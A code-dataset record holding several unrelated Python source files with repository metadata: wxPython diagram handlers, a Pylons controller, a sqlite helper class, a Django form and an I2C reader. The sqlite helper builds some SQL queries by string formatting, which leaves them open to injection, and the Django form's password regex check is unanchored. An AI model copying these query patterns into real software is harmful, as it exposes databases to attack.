attachment = 0): #The dragging is done here. shape = self.GetShape() canvas = shape.GetCanvas() dc = wx.ClientDC(canvas) canvas.PrepareDC(dc) if shape.Selected(): shape.Select(False, dc) canvas.Redraw(dc) else: redraw = False shapeList = canvas.GetDiagram().GetShapeList() toUnselect = [] for s in shapeList: if s.Selected(): toUnselect.append(s) shape.Select(True, dc) if toUnselect: for s in toUnselect: s.Select(False, dc) canvas.Redraw(dc) if canvas.frame.relacion == 1: if canvas.frame.click == 0: canvas.frame.entidadPadre = shape canvas.frame.click = 1 canvas.SetCursor(wx.CROSS_CURSOR) elif canvas.frame.click == 1: canvas.frame.entidadHija = shape canvas.frame.click = 0 canvas.frame.relacion = 0 ejecutar = RelacionIdentificadora() ejecutar.CrearRelacion(canvas.frame.entidadPadre.frame, canvas, canvas.frame.entidadPadre, canvas.frame.entidadHija, canvas.frame.entidades) canvas.frame.entidadPadre.frame.GetActiveChild().contadorRelacion += 1 canvas.Refresh() elif canvas.frame.relacion == 2: if canvas.frame.click == 0: canvas.frame.entidadPadre = shape canvas.frame.click = 1 canvas.SetCursor(wx.CROSS_CURSOR) elif canvas.frame.click == 1: canvas.frame.entidadHija = shape canvas.frame.click = 0 canvas.frame.relacion = 0 ejecutar = RelacionNoIdentificadora() ejecutar.CrearRelacion(canvas.frame.entidadPadre.frame, canvas, canvas.frame.entidadPadre, canvas.frame.entidadHija, canvas.frame.entidades) canvas.frame.entidadPadre.frame.GetActiveChild().contadorRelacion += 1 canvas.Refresh() def OnRightClick(self, x, y, *dontcare): shape = self.GetShape() canvas = shape.GetCanvas() dc = wx.ClientDC(canvas) canvas.PrepareDC(dc) redraw = False shapeList = canvas.GetDiagram().GetShapeList() toUnselect = [] for s in shapeList: if s.Selected(): toUnselect.append(s) if toUnselect: for s in toUnselect: s.Select(False, dc) shape.Select(True, dc) canvas.Redraw(dc) frame = shape.frame if shape.GetClassName() == "TextShape": frame.PopupMenu(frame.menu_entidad) elif shape.GetClassName() == "DividedShape": frame.PopupMenu(frame.menu_atributo) elif shape.GetClassName() == "Relacion": frame.PopupMenu(frame.menu_relacion) elif shape.GetClassName() == "RelacionIdentificadora": frame.PopupMenu(frame.menu_relacionIdentificadora) elif shape.GetClassName() == "RelacionNoIdentificadora": frame.PopupMenu(frame.menu_relacionNoIdentificadora)
ajdelgados/Sofia
modules/graphic.py
Python
gpl-3.0
52,919
""" Copyright 2012 Jan Demter <jan@demter.de> This file is part of LODStatsWWW. LODStats is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LODStats is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LODStats. If not, see <http://www.gnu.org/licenses/>. """ import logging from pylons import request, response, session, tmpl_context as c, url from pylons.controllers.util import abort, redirect from rdfstats.lib.base import BaseController, render, Session from rdfstats import model from sqlalchemy import and_, func, desc from webhelpers.paginate import Page, PageURL_WebOb log = logging.getLogger(__name__) class VocabulariesController(BaseController): """REST Controller styled on the Atom Publishing Protocol""" # To properly map this controller, ensure your config/routing.py # file has a resource setup: # map.resource('vocabulary', 'vocabularies') def index(self, format='html'): """GET /vocabularies: All items in the collection""" # url('vocabularies') vocabs = Session.query(model.Vocab.uri, model.Vocab.id, func.sum(model.RDFVocabStat.count), func.count(model.StatResult.id))\ .join(model.RDFVocabStat).join(model.StatResult)\ .filter(model.StatResult.current_of!=None)\ .group_by(model.Vocab.uri, model.Vocab.id) c.query_string = '?' # optional search c.search = '' if request.GET.has_key('search'): vocabs = vocabs.filter(model.Vocab.uri.ilike("%%%s%%" % request.GET['search'])) c.query_string += 'search=%s&' % request.GET['search'] c.search = request.GET['search'] # sort results c.sort_order = request.GET.get('sort') if request.GET.has_key('sort'): if request.GET['sort'] == 'uri': c.vocabs = vocabs.order_by(model.Vocab.uri) elif request.GET['sort'] == 'overall': c.vocabs = vocabs.order_by(desc(func.sum(model.RDFVocabStat.count)), desc(func.count(model.StatResult.id)), model.Vocab.uri) elif request.GET['sort'] == 'datasets': c.vocabs = vocabs.order_by(desc(func.count(model.StatResult.id)), desc(func.sum(model.RDFVocabStat.count)), model.Vocab.uri) else: c.vocabs = vocabs.order_by(desc(func.count(model.StatResult.id)), desc(func.sum(model.RDFVocabStat.count)), model.Vocab.uri) else: c.vocabs = vocabs.order_by(desc(func.count(model.StatResult.id)), desc(func.sum(model.RDFVocabStat.count)), model.Vocab.uri) if request.GET.has_key('page'): page = request.GET['page'] else: page = 1 page_url = PageURL_WebOb(request) c.vocabs_page = Page(c.vocabs, page=page, items_per_page=50, url=page_url) c.count = c.vocabs_page.item_count return render('/vocabularies/index.html') def create(self): """POST /vocabularies: Create a new item""" # url('vocabularies') def new(self, format='html'): """GET /vocabularies/new: Form to create a new item""" # url('new_vocabulary') def update(self, id): """PUT /vocabularies/id: Update an existing item""" # Forms posted to this method should contain a hidden field: # <input type="hidden" name="_method" value="PUT" /> # Or using helpers: # h.form(url('vocabulary', id=ID), # method='put') # url('vocabulary', id=ID) def delete(self, id): """DELETE /vocabularies/id: Delete an existing item""" # Forms posted to this method should contain a hidden field: # <input type="hidden" name="_method" value="DELETE" /> # Or using helpers: # h.form(url('vocabulary', id=ID), # method='delete') # url('vocabulary', id=ID) def show(self, id, format='html'): """GET /vocabularies/id: Show info and current_of-usage about Vocabulary""" # url('vocabulary', id=ID) if id is None: abort(404) try: c.vocab = Session.query(model.Vocab).get(int(id)) except ValueError, e: abort(404) if c.vocab is None: abort(404) vs=Session.query(model.RDFVocabStat).join(model.StatResult).join(model.StatResult.current_of).filter( and_( model.RDFVocabStat.vocab==c.vocab, model.StatResult.current_of!=None)).order_by(model.RDFDoc.name).all() c.vs = vs c.count = len(vs) return render('/vocabularies/view.html') def edit(self, id, format='html'): """GET /vocabularies/id/edit: Form to edit an existing item""" # url('edit_vocabulary', id=ID)
AKSW/LODStats_WWW
rdfstats/controllers/vocabularies.py
Python
gpl-3.0
5,389
import sqlite3 import pdb # Higher scores should ALWAYS indicate a stronger/better relationship class db: """ This class interfaces to a sqlite database and has convienince methods for extracting data """ def __init__(self, filename): self.con = sqlite3.connect(filename) self.cur = self.con.cursor() self.loc = filename def __del__(self): self.con.commit() self.cur.close() self.con.close() def close(self): self.con.commit() self.cur.close() self.con.close() def get_db_loc(self): return self.loc def commit(self): self.con.commit() def fetch(self, stmt): self.cur.execute(stmt) return self.cur.fetchall() def execute(self, stmt, args=None): if args: self.cur.execute(stmt, args) else: self.cur.execute(stmt) self.commit() def executemany(self, stmt, itms): self.cur.executemany(stmt, itms) self.commit() def check_table_existence(self, table_name): qry = "SELECT name FROM sqlite_master WHERE type='table' AND name='%s'" % table_name self.cur.execute(qry) return self.cur.fetchall() != [] def add_table(self, table): self.cur.execute('CREATE TABLE %s' % table) self.commit() def add_index(self, index): self.cur.execute('CREATE INDEX %s' % index) self.commit() def get_topics_info(self, cutoff=-1): self.cur.execute('SELECT * FROM topics ORDER BY score DESC LIMIT ?', [cutoff]) return self.cur.fetchall() def get_topic_info(self, topic_id): self.cur.execute('SELECT * FROM topics WHERE id=?', [topic_id]) return self.cur.fetchall() def get_term_info(self, cutoff = -1): self.cur.execute('SELECT * FROM terms ORDER BY count DESC limit ?', [cutoff]) return self.cur.fetchall() def get_term(self, term_id): self.cur.execute('SELECT * FROM terms WHERE id=? limit 1', [term_id]) return self.cur.fetchall() def get_docs_info(self, cutoff=-1): self.cur.execute('SELECT * FROM docs LIMIT ?', [cutoff]) return self.cur.fetchall() def get_doc_info(self, doc_id): self.cur.execute('SELECT * FROM docs WHERE id=?', [doc_id]) return self.cur.fetchall() def get_topic_terms(self, topic_id, cutoff=-1): self.cur.execute('SELECT * FROM topic_term WHERE topic=? ORDER BY score DESC LIMIT ?', [topic_id, cutoff]) return self.cur.fetchall() def get_top_topic_docs(self, topic_id, num=-1): self.cur.execute('SELECT * FROM doc_topic WHERE topic=? ORDER BY score DESC LIMIT ?', [topic_id,num]) return self.cur.fetchall() def get_top_term_docs(self, term_id, num=-1): self.cur.execute('SELECT * FROM doc_term WHERE term=? ORDER BY score DESC LIMIT ?', [term_id,num]) return self.cur.fetchall() def get_top_topic_topics(self, topic_id, num=-1): self.cur.execute('SELECT * FROM topic_topic WHERE topic_a=? OR topic_b=? ORDER BY score DESC LIMIT ?', [topic_id, topic_id, num]) return self.cur.fetchall() def get_top_doc_docs(self, doc_id,num=-1): self.cur.execute('SELECT * FROM doc_doc WHERE doc_a=? OR doc_b=? ORDER BY score DESC LIMIT ?', [doc_id, doc_id, num]) return self.cur.fetchall() def get_top_doc_topics(self, doc_id, num=-1): self.cur.execute('SELECT * FROM doc_topic WHERE doc=? ORDER BY score DESC LIMIT ?', [doc_id, num]) val = self.cur.fetchall() return val def get_top_term_terms(self, term_id, num=-1): self.cur.execute('SELECT * FROM term_term WHERE term_a=? OR term_b=? ORDER BY score DESC LIMIT ?', [term_id, term_id, num]) def get_top_term_topics(self, term_id, num = 1): self.cur.execute('SELECT * FROM topic_term WHERE term=? ORDER BY score DESC LIMIT ?', [term_id, num]) return self.cur.fetchall() def get_doc_occ(self, term_id): self.cur.execute('SELECT doc FROM term_doc_pair WHERE term=?', [term_id]) return self.cur.fetchall() def get_prestem(self, term_id): self.cur.execute('SELECT prestem FROM termid_to_prestem WHERE id=?', [term_id]) return self.cur.fetchall() def insert_term_doc_pair(self, term_id, doc_id): self.cur.execute('INSERT INTO term_doc_pair(id, term, doc) VALUES(NULL, ?, ?)', [term_id, doc_id]) def insert_termid_prestem(self, term_id, prestem): self.cur.execute('INSERT INTO termid_to_prestem(id, prestem) VALUES(?, ?)', [term_id, prestem]) ## Wiki methods def get_wiki_cocc(self, t1, t2, max_val): """ obtain the cooccurence of t1_id and t2_id in the wikipedia abstracts make sure to first clean and stem the terms using TextCleaner in tma_util @return: co_occ """ # make sure the terms are ordered correctly for querying t1 = int(t1) t2 = int(t2) if cmp(t2, t1) == -1: tvals = (t2,t1, max_val + 1) else: tvals = (t1, t2, max_val + 1) self.cur.execute('SELECT occ FROM co_occ WHERE term1=? AND term2=? AND occ < ? LIMIT 1', tvals) # 'LIMIT 1' decreases query time TODO add a < min(occ) clause? run some tests coocc = self.cur.fetchall() if not coocc == []: coocc = coocc[0][0] else: coocc = 0 return coocc def get_wiki_occ(self, term): """ obtain the occurence of term in the wikipedia abstracts make sure to first clean and stem term using TextCleaner in tma_util @return [term_id, term_occ] """ self.cur.execute("SELECT id, occ FROM dict WHERE term='%s' LIMIT 1" % term) res = self.cur.fetchall() if not res == []: res = [res[0][0], res[0][1]] return res
cjrd/TMA
src/backend/db.py
Python
gpl-3.0
6,177
from django import forms import re class UserForm(forms.Form): username = forms.CharField(max_length=16,label='用户名',widget=forms.TextInput(attrs={'class':'form-control'})) password = forms.CharField(max_length=20,label='密码',widget=forms.PasswordInput(attrs={'class':'form-control'})) password1 = forms.CharField(max_length=20,label='确认密码',widget=forms.PasswordInput(attrs={'class':'form-control'})) def clean(self): cleaned_data = super(UserForm, self).clean() password_1 = cleaned_data.get("password") password_2 = cleaned_data.get("password1") if password_1 != password_2: raise forms.ValidationError('密码不一致!') if len(password_1)<8 or len(password_1)>20: raise forms.ValidationError('密码长度在8-20之间!') if re.match(r'[a-zA-Z0-9~!@#$%^&\*\(\)\?\\\[\]\{\}]{8,20}',password_1) is None: raise forms.ValidationError('密码不能包含特殊字符!')
ryanrain2016/FreeEye
FreeEye/SystemManage/forms.py
Python
gpl-3.0
989
import smbus import time import sys bus = smbus.SMBus(1) print ("Please enter the address in hex.") address = int(raw_input(), 16) print("Working on Address: " + str(address)) # def bearing255(): # bear = bus.read_byte_data(address, 1) # return bear # def bearing3599(): # bear1 = bus.read_byte_data(address, 2) # bear2 = bus.read_byte_data(address, 3) # bear = (bear1 << 8) + bear2 # bear = bear/10.0 # return bear def clear(): """Clear screen, return cursor to top left""" sys.stdout.write('\033[2J') sys.stdout.write('\033[H') sys.stdout.flush() while True: for x in xrange(1,50): data = bus.read_byte_data(address, x) sys.stdout.write("Loc: " + str(x) + " - D: " + str(data) + "\n") sys.stdout.flush() time.sleep(0.5) clear() # sys.stdout.flush() # print("Give location to read data for:") # loc = int(raw_input()) # data = bus.read_byte_data(address, loc) # print data # time.sleep(1)
nickw444/quadcopter
older stuff/Quad/i2c.py
Python
gpl-3.0
1,008